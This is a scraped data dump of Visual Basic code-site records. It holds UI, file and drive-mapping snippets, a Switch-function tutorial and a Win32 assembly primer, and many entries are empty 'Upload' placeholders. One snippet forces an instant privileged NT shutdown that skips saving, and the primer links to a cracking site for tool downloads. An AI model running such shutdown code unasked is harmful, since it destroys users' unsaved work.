Progressbar.DrawMode = 13\n Progressbar.FillStyle = Style\n Progressbar.Line (0, 0)-(Percent, Progressbar.ScaleHeight - 1), , BF\n Progressbar.Line (0, 0)-(Percent, Progressbar.ScaleHeight - 1), , B\n \n \n Progressbar.FontTransparent = False\n Progressbar.CurrentX = 50 - Progressbar.TextWidth(Percent & \"%\")\n Progressbar.CurrentY = (Progressbar.ScaleHeight / 2) - (Progressbar.TextHeight(Percent & \"%\") / 2)\n Progressbar.FontBold = True\n Progressbar.FontSize = 7\n Progressbar.FontName = \"Tahoma\"\n Progressbar.Print \" \" & Percent & \"% \"\n \n \nEnd Sub\n"},{"WorldId":1,"id":52986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":52994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53008,"LineNumber":1,"line":"Option Explicit\nPrivate Const CONNECT_UPDATE_PROFILE = &H1\nPrivate Const RESOURCE_CONNECTED As Long = &H1&\n Public iDrive As Integer\n Public iFirst As Integer\n Public iFirstFree As Integer, sFirstFree As String\n Public sNextDrive As String\n \nPublic Declare Function GetDriveType Lib \"kernel32\" Alias _\n \"GetDriveTypeA\" (ByVal nDrive As String) As Long\nPrivate Const RESOURCE_GLOBALNET As Long = &H2&\nPrivate Const RESOURCETYPE_DISK As Long = &H1&\nPrivate Const RESOURCEDISPLAYTYPE_SHARE& = &H3\nPrivate Const RESOURCEUSAGE_CONNECTABLE As Long = &H1&\nPrivate Declare Function WNetAddConnection2 Lib \"mpr.dll\" _\n Alias \"WNetAddConnection2A\" (lpNetResource As NETCONNECT, _\n ByVal lpPassword As String, ByVal lpUserName As String, _\n ByVal dwFlags As Long) As Long\nPrivate Declare Function WNetCancelConnection2 Lib \"mpr.dll\" _\n Alias \"WNetCancelConnection2A\" (ByVal lpName As String, _\n ByVal dwFlags As Long, ByVal fForce As Long) As Long\nPrivate Type NETCONNECT\n dwScope As Long\n dwType As Long\n dwDisplayType As Long\n dwUsage As Long\n lpLocalName As String\n lpRemoteName As String\n lpComment As String\n lpProvider As String\nEnd Type\nPublic Function MapDrive(LocalDrive As String, _\n RemoteDrive As String, Optional Username As String, _\n Optional Password As String) As Boolean\n Dim NetR As NETCONNECT\n NetR.dwScope = RESOURCE_GLOBALNET\n NetR.dwType = RESOURCETYPE_DISK\n NetR.dwDisplayType = RESOURCEDISPLAYTYPE_SHARE\n NetR.dwUsage = RESOURCEUSAGE_CONNECTABLE\n NetR.lpLocalName = Left$(LocalDrive, 1) & \":\"\n NetR.lpRemoteName = RemoteDrive\n MapDrive = (WNetAddConnection2(NetR, Username, Password, _\n CONNECT_UPDATE_PROFILE) = 0)\n \nEnd Function\nPublic Function DisconnectDrive(LocalDrive As String) As String\n DisconnectDrive = WNetCancelConnection2(Left$(LocalDrive, 1) & \":\", _\n CONNECT_UPDATE_PROFILE, False) = 0\nEnd Function\nPublic Function FindDrive() As String\n iDrive = 67\n Do\n iDrive = iDrive + 1\n sNextDrive = Chr$(iDrive) + \":\\\"\n iFirstFree = GetDriveType(sNextDrive)\n \n Loop Until iFirstFree = 1\n sFirstFree = Chr$(iDrive) + \":\\\"\n FindDrive = sFirstFree\nEnd Function\n'Syntax is as follows\nPrivate sub NetConnect()\nDim UncPath As String\nUncPath=\"\\\\server\\folder\\subfolder\\subfolder\\destinationfolder\"\nMapDrive FindDrive, UncPath\nend sub\nPrivate sub DropDrive()\nDim DrLetter as string\nDrLetter= \"e\"' Any Letter you want\ndisconnectdrive drletter\nend sub\n"},{"WorldId":1,"id":53022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53033,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53041,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53082,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":53100,"LineNumber":1,"line":"' // QuikDown 1.0\n' // Written by Alex Ionescu\n' // ┬⌐Relsoft Technologies 2004\n' // COMMENTS: Smallest code to turn off a PC in the fastest way possible on NT.\n\n' // *************\n' // APIs\n' // *************\n' // Undocumented Native API to get Shutdown Privilege\n Public Declare Function RtlAdjustPrivilege& Lib \"ntdll\" (ByVal Privilege&, ByVal NewValue&, ByVal NewThread&, OldValue&)\n' // Native API to Shutdown the System\n Public Declare Function NtShutdownSystem& Lib \"ntdll\" (ByVal ShutdownAction&)\n' // *************\n' // Constants\n' // *************\n' // The Shutdown Privilege\n Public Const SE_SHUTDOWN_PRIVILEGE& = 19\n' // The Shutdown Actions\n Public Const SHUTDOWN& = 0\n Public Const RESTART& = 1\n Public Const POWEROFF& = 2\nSub Main()\n' // Instantly closes the computer on execution\n RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0 ' // Give us Shutdown Privileges\n NtShutdownSystem SHUTDOWN ' // Take System Down\nEnd Sub\n"},{"WorldId":1,"id":53109,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28712,"LineNumber":1,"line":"Private Function AppendToLog(ByVal lpFileName As String, ByVal sMessage As String) As Boolean\n'appends a string to a text file. it's up to the coder to add a CR/LF at the end\n'of the string if (s)he so desires.\n 'assume failure\n AppendToLog = False\n \n 'exit if the string cannot be written to disk\n If Len(sMessage) < 1 Then Exit Function\n \n 'get the size of the file (if it exists)\n Dim fLen As Long\n fLen = 0\n \n If (Len(Dir(lpFileName))) Then\n fLen = FileLen(lpFileName)\n End If\n \n 'open the log file, create as necessary\n Dim hLogFile As Long\n hLogFile = CreateFile(lpFileName, GENERIC_WRITE, FILE_SHARE_READ, ByVal 0&, _\n IIf(Len(Dir(lpFileName)), OPEN_EXISTING, CREATE_NEW), _\n FILE_ATTRIBUTE_NORMAL, 0&)\n \n 'ensure the log file was opened properly\n If (hLogFile = INVALID_HANDLE_VALUE) Then Exit Function\n \n 'move file pointer to end of file if file was not created\n If (fLen <> 0) Then\n If (SetFilePointer(hLogFile, fLen, ByVal 0&, FILE_BEGIN) = &HFFFFFFFF) Then\n 'exit sub if the pointer did not set correctly\n CloseHandle (hLogFile)\n Exit Function\n End If\n End If\n \n 'convert the source string to a byte array for use with WriteFile\n Dim lTemp As Long\n ReDim TempArray(0 To Len(sMessage) - 1) As Byte\n \n For lTemp = 1 To Len(sMessage)\n TempArray(lTemp - 1) = Asc(Mid$(sMessage, lTemp, 1))\n Next\n \n 'write the string to the log file\n If (WriteFile(hLogFile, TempArray(0), Len(sMessage), lTemp, ByVal 0&) <> 0) Then\n 'the data was written correctly\n AppendToLog = True\n End If\n \n 'flush buffers and close the file\n FlushFileBuffers (hLogFile)\n CloseHandle (hLogFile)\n \nEnd Function\n"},{"WorldId":1,"id":28718,"LineNumber":1,"line":" \nIn this tutorial I will show you how to write your a function that can accept ANY number of parameters and how to replace existing vb functions so that when you call function Right for example it will execute YOUR version of the function instead of vb's version.\n \nAs some of you may or may not know VB has a function called SWITCH\n \nFunction Switch(ParamArray VarExpr() As Variant) As Variant\n \nThat function evaluates a list of expressions and returns a Variant value or an expression associated with the first expression in the list that is True. Meaning you can do something like. . .\n \nDim i as integer\n \nDim retval as boolean\n \ni = 1\n \nretval = Switch(i = 1, True, i = 2, False)\n \nWhen you execute that it will return true because i is 1, if i was 2 it would return false, but if i was 3 it will ERROR!!!!!!!!! because none of the expressions evaluated to true.\n \nAlso another thing about this function is that you can pass as many parameters as you want and that is what makes it so special for our purposes.\n \nWhat I decided to do was to REPLACE VB's existing switch function with my own switch function so that when i call the switch function and none of the expressions evaluate to true it will either return \"\" OR it will return the \"default parameter\".\n \nNow, to explain how it works and what the default parameter is . . .\n \nFunction Switch(ParamArray VarExpr() As Variant) As Variant\n \n'paramarray makes it so that you can pass as many parameters as you want which can be accessed using the VarExpr array.\n \nDim i As Integer\n \nFor i = 0 To UBound(VarExpr) Step 2\n \n'this loop will go through every other argument in our parameter array also note, when we pass argument like i = 1 VarExpr for that argument will not be \"i = 1\" it will be True if i is 1 or it will be False if its not\n \nIf VarExpr(i) = True Then\n \n'check to see if argument evaluated to true\n \nSwitch = VarExpr(i + 1)\n \n'return the value for that argument\n \nExit Function\n \nEnd If\n \nNext i\n \n'if none of the arguments evaluted to true this part will check if you have even or odd number of parameters if you have ODD number of parameters it will assume that the last parameter is the default parameter which is to be returned if nothing evaluted to true\n \nIf (UBound(VarExpr) + 1) Mod 2 = 1 Then\n \nSwitch = VarExpr(UBound(VarExpr))\n \n'return the last (\"default\") paramter\n \nEnd If\n \nEnd Function\n \nAlso note that our function name is Switch just like VB's function name, we put our function in a module so that when you call Switch function it will call your(more flexible) version of the function and not VB's default version.\nNow when we call our new function . . . \nDim i as integer\n \nDim retval as string\n \ni = 1\n \nretval = Switch(i = 1, True, i = 2, False)\n \nretval will be \"True\", but if we take out i = 1 it will return \"\" \n \nDim i as integer\n \nDim retval as string\n \nretval = Switch(i = 1, True, i = 2, False)\n \nbecause i is 0 and none of the expressions evaluted to true, but what we can do is add the extra \"default\" parameter \nDim i as integer\n \nDim retval as string\n \nretval = Switch(i = 1, True, i = 2, False, Now)\n \nnow when the function will execute it will return current time and date (because thats what function now returns) because none of the expressions evaluated to true\n \nIf you do not understand the above explation and want a more indetail explanation and/or example you can contact me at\n \nemail: izek.programmer@verzion.net\n \naim: ozik13\n \nicq: 53982424\n \nPlease leave feedback :)"},{"WorldId":1,"id":28719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28744,"LineNumber":1,"line":"Public Function SplitLines(Txt As String, P As Object, W As Single) As String()\nDim Lines() As String, CurrW As Single, CurrWord As String\nDim L As Integer, i As Integer, WCnt As Integer\nCurrW = 0\nL = Len(Txt)\nIf (P.TextWidth(Txt) > W) Or (InStr(Txt, vbCr) > 0) Then\n\ti = 1\n\tWCnt = 1\n\tReDim Lines(WCnt) As String\n\tDo Until i > L\n\t\tCurrWord = \"\"\n\t\tDo Until i > L Or Mid(Txt, i, 1) <= \" \"\n\t\t\tCurrWord = CurrWord & Mid(Txt, i, 1)\n\t\t\ti = i + 1\n\t\tLoop\n\t\tIf CurrW + P.TextWidth(CurrWord) > W Then\n\t\t\tWCnt = WCnt + 1\n\t\t\tReDim Preserve Lines(WCnt) As String\n\t\t\tCurrW = 0\n\t\tEnd If\n\t\tLines(WCnt) = Lines(WCnt) + CurrWord\n\t\tCurrW = P.TextWidth(Lines(WCnt))\n\t\tDo Until i > L Or Mid(Txt, i, 1) > \" \"\n\t\t\tSelect Case Mid(Txt, i, 1)\n\t\t\tCase \" \"\n\t\t\t\tLines(WCnt) = Lines(WCnt) + \" \"\n\t\t\t\tCurrW = P.TextWidth(Lines(WCnt))\n\t\t\tCase vbLf\n\t\t\tCase vbCr\n\t\t\t\tWCnt = WCnt + 1\n\t\t\t\tReDim Preserve Lines(WCnt) As String\n\t\t\t\tCurrW = 0\n\t\t\tCase Chr(9)\n\t\t\t\tLines(WCnt) = Lines(WCnt) + \" \"\n\t\t\t\tCurrW = P.TextWidth(Lines(WCnt))\n\t\t\tEnd Select\n\t\t\ti = i + 1\n\t\tLoop\n\tLoop\nElse\n\tReDim Lines(1) As String\n\tLines(1) = Txt\nEnd If\nFor i = 1 To WCnt\n Lines(i) = LTrim(RTrim(Lines(i)))\nNext i\nSplitLines = Lines\nEnd Function\n\n"},{"WorldId":1,"id":28747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28751,"LineNumber":1,"line":"Public Function Match(Name As String, Pattern As String) As Boolean\n If MatchCase(LCase(Name), LCase(Pattern)) Then Match = True\nEnd Function\n\nPublic Function MatchCase(Name As String, Pattern As String) As Boolean\n Pattern = PreparePattern(Pattern)\n If Name Like Pattern Then MatchCase = True\nEnd Function\nPrivate Function PreparePattern(Pattern As String) As String\n Pattern = Replace(Pattern, \"[\", \"[[]\")\n Pattern = Replace(Pattern, \"#\", \"[#]\")\n PreparePattern = Pattern\nEnd Function"},{"WorldId":1,"id":28757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28760,"LineNumber":1,"line":"<pre>\nIntroduction to Win32 Assembly Programming\n==========================================\nBy: Chris Vega [gwapo@models.com]\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nWhat will i learn from this article?\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n\t+- Definitions of Application Programming Interface (API)\n\t+- How to incorporate API to Win32 Assembly, as well as how to convert\n\t VC++ definitions from Win32 API Refference to a Win32 Assembly format\n\t+- How to code a Do-Nothing Application (skeleton) using Win32 Assembly\n\t using Borland TASM 5.0\n\t+- How to compile and link your Application\n\t+- How to show an output in screen saying \"Hello World!\" using MessageBox\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nIntroduction\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nHello World! thats what everybody have in mind on every language introduction, so i will \nbe giving a simple hello world application in Win32 Assembly in this Article, showing \nyou how to compile and link it using Turbo Assembler (TASM) and explain the details \nabout the application we have created.\nNotes: \n +-\n This tutorial, as well as other Win32 Assembly Articles in this site are written in \n TASM syntax (TASM specific), therefore you need TASM5 to conpile and link the source \n codes in this article.\n\tDownload TASM here (greetz to, crackstore):\n\t\thttp://www.crackstore.cc/toolz/tasm5_1.zip\n\t\thttp://www.crackstore.cc/toolz/tasm5_2.zip\n\t\thttp://www.crackstore.cc/toolz/tasm5_3.zip\n\tAlso, you need a Text Editor, NotePad which is Built-In Windows OS is pretty\n\tuseful.\n +-\n There are various Windows Operating Systems and non of them performs alike, but \n with Assembly Coding, the differences are less, so the name \"Win32\" was purposely\n attached to Assembly to describe a Windows Environment Assembly Code - \"Win32Asm\"\n\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nApplication Programming Interface\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nApplication Programming Interface or simply API is what replaces the Interrupt calls\nin the old DOS System, same as Interrupt, APIs are also a functions, but unlike Ints,\nAPIs \"must\" be imported into your Application before you can make use of it, i've put\n\"must\" in quote cause APIs can also be called directly from its address without really\nimporting it to you application, but thats a little advanced topic, so lets concentrate\na more on importing APIs.\nIn TASM, importing an API was done using the directive \"extrn\", which is the same direc-\ntive used to import external routines, that simplifies the explanation, API is exported\nby Dynamic Link Libraries or DLL and APIs are external routines/funtions, therefore in \norder to import an API to your application, we can simply add:\n\textrn ApiNameHere:PROC\n\tor\n\textrn ApiNameHere:NEAR\nAs i told earlier, APIs are exported by DLLs, and the rules for case-sensitivity in API \nNames are strictly active, thefore:\n\textrn apiName:PROC\n\tis not the same as\n\textrn Apiname:PROC\nyou can find these APIs in Win32 API Refference included in MSDN Library, Visit:\n\thttp://msdn.microsoft.com/library\nor download the Win32 API Refference (8.5MB) at crackstore:\n http://www.crackstore.cc/toolz/win32_1.zip\n http://www.crackstore.cc/toolz/win32_2.zip\n http://www.crackstore.cc/toolz/win32_3.zip\n http://www.crackstore.cc/toolz/win32_4.zip\nAfter downloading and extracting it, or simply open your MSDN on-disk or on-line and\nview the most common APIs of all, the ExitProcess\n\tExitProcess\n\t===========\n\t\tThe ExitProcess function ends a process and all its threads. \n\tVOID ExitProcess(\n\t\tUINT uExitCode // exit code for all threads\n\t);\nIn TASM, importing this API is always a must, this is to tell TASM that we are creating\na Win32 Application rather than DOS Programs:\n\textrn ExitProcess:PROC\nAgain, case-sensitive check all API names you are typing before you proceed with coding\nor else, TASM32 will unable to create import refference of API to your Application, and \nwith Arguments or Parameter passing, Win32 Assembly always expect right-to-left (RTL) or\nStandard Calling Convention (stdcall).\nExitProcess expect 1 parameter, in Assembly, all parameter must be pushed in RTL order,\nand all addresses or values aree passed, meaning, lpXXX expect a Long-Pointer, uXXX\nexpect Unsigned Value etch.\nThe above C++ definition of ExitProcess API will be converted to Asm as:\n\tpush\tuExitCode\t; exit code for all threads\n\tcall\tExitProcess\nAPIs are generally grouped with two types, one is the string using API and the other is\nnot a string using API, meaning, if the API needs string to be passed as an argument, ie,\nMessageBox, see the description of MessageBox in Win32 API Refference:\n\n\tMessageBox\n\t==========\n\tThe MessageBox function creates, displays, and operates a message box. The message\n\tbox contains an application-defined message and title, plus any combination of\n\tpredefined icons and push buttons.\n\tint MessageBox(\n\t\tHWND hWnd,\t\t// handle to owner window\n\t\tLPCTSTR lpText,\t\t// text in message box\n\t\tLPCTSTR lpCaption,\t// message box title\n\t\tUINT uType\t\t// message box style\n\t);\nLPCTSTR in VC++ is a pointer to a string argument, known in hungarian notation \"LP\" or\n\"Long Pointer\", meaning, MessageBox API is an string using API, knowing that Windows\nOperating System provides two different string types, the ANSI of \"A\" and the UNICODE\nor \"W\", each string using API always two different versions, one for ANSI and one for\nUNICODE, so MessageBox has:\n\tMessageBoxA \t-\tANSI version MessageBox\n\tand \n\tMessageBoxW\t-\tUNICODE version MessageBox\nthis is very significant in Win32 Assembly, since in TASM, these APIs must be declared\nfirst as an \"extrn\", therefore the correct name is necessary to be imported and not its\n\"macro\" name!\nTo make it simple, MessageBox doesnt exist in User32.DLL, what exist are MessageBoxA and \nMessageBoxW, try to find out by downloading my GetAPI Tool in the Download section of \nthis site, and try to locate MessageBox or other string API, like CreateFile etch and \namaze yourself by discovering that they doesn't exist, but the ANSI or \"A\" / UNICODE or \n\"W\" versions.\nIf you dont want a tool to learn if the API exist by itsname or do it have two versions,\nthen simply look for the Requirements on the API description from Win32 API Refference,\nlet see MessageBox:\n\tRequirements:\n\t Windows NT/2000: Requires Windows NT 3.1 or later.\n\t Windows 95/98: Requires Windows 95 or later.\n\t Header: Declared in Winuser.h; include Windows.h.\n\t Library: Use User32.lib.\n\t Unicode: Implemented as Unicode and ANSI versions on all platforms.\nand look at the Unicode label.\nFor the parameter, all API parameter, exept those User defined are Noted by Hungarian\nNotation, ie, \"LP\" means Long Pointer for String, therefore in Win32 Assembly, LP will\nsimply be converted to Offset, let see the conversion of MessageBoxA in Win32 Assembly:\n\tpush\tuType\t\t\t; message box style\t(DWORD)\n\tpush\toffset lpCaption\t; message box title\t(OFFSET DWORD)\n\tpush\toffset lpText\t\t; text in message box\t(OFFSET DWORD)\n\tpush\thWnd\t\t\t; handle of Owner\t(DWORD)\n\tcall\tMessageBoxA\nand finally, functions return values, and APIs are functions, so values are returned\nas a result, most APIs return their result in the register EAX, or EAX contains info\nthat the result has been passed to certain parameter/s.\nsimple? yeah, you're right!\nOn to coding, next\n\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nDo Nothing Code\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nBefore we go to a full running \"Hello World!\", let see the skeleton of a Win32 Assembly\nCode that does nothing, assuming you save them in \"donone.asm\":\n--------------------------------------------------------------cut here----------------\n\t.386\n\t.model flat, stdcall\n\textrn ExitProcess:PROC\n\t.data\n\tdb ?\n\t.code\n\tstart:\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\n-----------------------------------------------------------end cut here---------------\nThe first two lines probably the most important in Win32 coding, because it will tell \nthe compiler the minimum processor for the application:\n\t.386\n\t.model flat, stdcall\nThe second line tells the compiler about the memory model using directive \".model\", where,\nin Win32 Environment, flat is the only memory model, meaning we needs to trash any idea of\nsegment:offset pairing or whatever memory models you might come accross in your previous\nAssembly Coding experiences, and welcome ourselves to the world of selectors or straight \nmemory layout in 32-bit addressing.\nthe \"stdcall\" however tells the TASM our way of Passing Argument, if we omit stdcall, we\nhave to push all parameters in the RTL order, while using stdcall tells the compiler that\nwe are about to use Standard Calling Convention as our means of Parameter Passing, it means:\n\tpush\tuExitCode\t; exit code for all threads\n\tcall\tExitProcess\nCan be converted to:\n\tcall\tExitProcess, uExitCode\nTherefore, no need to push Parameter to Stack one-by-oe, simply by calling the API and\nits arguments all in one line separated be comma(,) Note the comma after the API name.\nAfter the headings, the list of API imports follows - \"extrn\"s, you must import the needed\nAPIs to make use of it, at-least thats the idea of Win32 Programming.\n\t.data\n\tdb ?\nThe same as the old layout of assembly coding, we need to define all datas first, inside\nthe \".data\" directive; the \"db ?\" instruction tells TASM to have a dummy Data Section, or\nTASM will gets an error (TASM bug) if your application doesn't included any data at all.\n\t.code\n\tstart:\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\nAfter Data is the Code, stated by \".code\" directive, followed by the very-first label, \nmeaning, it doesn't really needed to use \"start:\" as your starting label, you can use\nothers like \"cvega:\", but remember to close this first label using the \"end <label>\"\ninstruction, see:\n\t.code\n\tcvega:\t\t\t\t; <-- First Label\n\t\tcall\tExitProcess, 0\n\t\tend\tcvega\t\t; <-- Ending the Starting Label!\nInside the \"Starting Label\" and \"End Label\" is the actual code, \n\tcall\tExitProcess, 0\nonly tells the machine to Exit this Process, btw, Process is the name given for an\nApplication Loaded in memory for execution, this is a simple example of how to call\nan API inside the actual application.\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nCompiling and Linking the Code\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nThe very first thing in mind in compiling Assembly code in TASM is locate Import32.Lib\nfile, found at the Lib Directory where TASM5 have been installed, a simple approach is\nto copy this file into \"bin\" directory, where your \"tasm32.exe\" and \"tlink32.exe\" are\nlocated, then create a batch file for compiling purpose:\n--------------------------------------------------------------cut here----------------\n\t@echo off\n\ttasm32 %1,, /ml /m9 /t\n\ttlink32 %1,,,import32.lib -Tpe -x -c\n\tdel *.lst\n\tdel *.obj\n-----------------------------------------------------------end cut here---------------\nAnd save it also to \"bin\" directory, named \"mk.bat\"\nTo compile \"donone.asm\" file, simply call:\n\tc:\\tasm5\\bin\\mk donone\nfrom your \"bin\" directory in your MS-DOS or DOS-BOX, and will automatically create you\na donone.exe, but if you execute it, it will automatically terminated, since ExitProcess\nis the only command in this Application, if you found problems about compiling, please\nconsult the \"docs\" directory from TASM and read more about compilation and building your\nproject into exe, using the above batch file is the simpliest method i am using, while\nthere are more complex approaches, like creating your own MAKE file for use with MAKE.EXE\nor even create your own Definition or Library Files.\nParameters used in making a Win32 EXE Application,\n\ttasm32:\n\t\t/ml = Case-Sensitive on Sysmbols, ml means All-Sysmbols\n\t\t/m9 = Allow 9 multiple passes to resolve forward references\n\t\t/t = Suppress messages if successful assembly\n\ttlink32:\n\t\t-Tpe = Build a PE image, replace this with Tpd to compile DLL\n\t\t-x = No Map\n\t\t-c = Case-Sensitive\n\t\t\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nHello World!\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nAfter our success in a \"Do-Nothing\" code, which is presented so you have a fully\nfunctional skeleton application in Win32 Assembly coding (everybody needs that!), were\nhere to create a Hello World Application, let open the \"Do-Nothing\" code again, and save\nit as \"msgbox.asm\":\n--------------------------------------------------------------cut here----------------\n\t.386\n\t.model flat, stdcall\n\textrn ExitProcess:PROC\n\t.data\n\tdb ?\n\t.code\n\tstart:\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\n-----------------------------------------------------------end cut here---------------\nnext is the addition of MessageBox API (MessageBoxA), to greet our user \"Hello World\", \nhow? simple, add the API as new \"extrn\" in the API declarations:\n\t.386\n\t.model flat, stdcall\n\textrn MessageBoxA:PROC\t\t; <-- Added MessageBoxA\n\textrn ExitProcess:PROC\nfollow by data declaration in the \".data\" dirrective, since MessageBoxA API expects two\nString Datas, lpCaption and lpText, both must be daclared:\n\t.data\n\tdb ?\t\t<-- Remove dummy, we no longer needed it cause we have now an\n\t\t\t actuall data of our own.\nand replace with\n\t.data\n\tlpCaption\tdb \"My First Win32 Application\", 0\n\tlpText\t\tdb \"Hello World!\", 0\ncomma and zero (,0) specified that our string is NULL Terminated, and on to the code, by\nadding a \"call\" instruction, just like ExitProcess and all other APIs, Assembly uses\n\"call\" opcode to execute an API function, remember, we no longer needs to follow the\nserries of pushes, like:\n\tpush\tuType\t\t\t; message box style\t(DWORD)\n\tpush\toffset lpCaption\t; message box title\t(OFFSET DWORD)\n\tpush\toffset lpText\t\t; text in message box\t(OFFSET DWORD)\n\tpush\thWnd\t\t\t; handle of Owner\t(DWORD)\n\tcall\tMessageBoxA\nthose are for description purpose nowadays, we can simply call it directly using the \nStandard Calling Convetion (stdcall) like:\n\tcall\tMessageBoxA, hWnd, offset lpText, offset lpCaption, uType\n\tor break it to multiple lines for easy code-reading (have no effect on EXE tough!)\n\tcall\tMessageBoxA,\\\n\t\t\thWnd,\\\n\t\t\toffset lpText,\\\n\t\t\toffset lpCaption,\\\n\t\t\tuType\nIn the code, simply follow how do VC++ calls a API:\n\t.code\n\tstart:\n\t\tcall\tMessageBoxA,\\\n\t\t\t\t0,\\\n\t\t\t\toffset lpText,\\\n\t\t\t\toffset lpCaption,\\\n\t\t\t\t0\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\nThe final form of the changes from \"Do-Nothing\" code to a full \"Hello World\" application is:\n----[msgbox.asm]-----------------------------------------------cut here----------------\n\t.386\n\t.model flat, stdcall\n\textrn MessageBoxA:PROC\n\textrn ExitProcess:PROC\n\t.data\n\tlpCaption\tdb \"My First Win32 Assembly Application\", 0\n\tlpText\t\tdb \"Hello World!\", 0\n\t.code\n\tstart:\n\t\tcall\tMessageBoxA,\\\n\t\t\t\t0,\\\n\t\t\t\toffset lpText,\\\n\t\t\t\toffset lpCaption,\\\n\t\t\t\t0\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\n-----------------------------------------------------------end cut here---------------\ncompile it again with mk.bat:\n\tc:\\tasm5\\bin\\mk msgbox\nand run:\n\tc:\\tasm5\\bin\\msgbox\nshows you a no-design MessageBox saying\n\t+--------------------------------------------------------+\n\t|[-] My First Win32 Assembly Application _ [] X |\n\t+--------------------------------------------------------+\n\t| |\n | Hello World |\n | |\n | [ OK ] |\n | |\n +--------------------------------------------------------+\ndownload the chapter1.zip file.\nnext chapter, i will explain the detains of MessageBox to show you how to control\nflows in Win32 Assembly and how to use return values from API.\n\nCopyright 2001, by Chris Vega [gwapo@models.com]\n</pre>"},{"WorldId":1,"id":28761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28784,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28811,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28832,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28858,"LineNumber":1,"line":"Taking advantage of the Templates\nfolder for VB\nIn newsgroups I have seen the question asked a\nlot about how to change the default properties of the form when you add new\nforms to a project. With how much this question is asked I figured if they\njust did a search in the newsgroup they would find the answer without having to\nask again (but that is a different story). Anyhow, I decided to post this\nhere to help all the 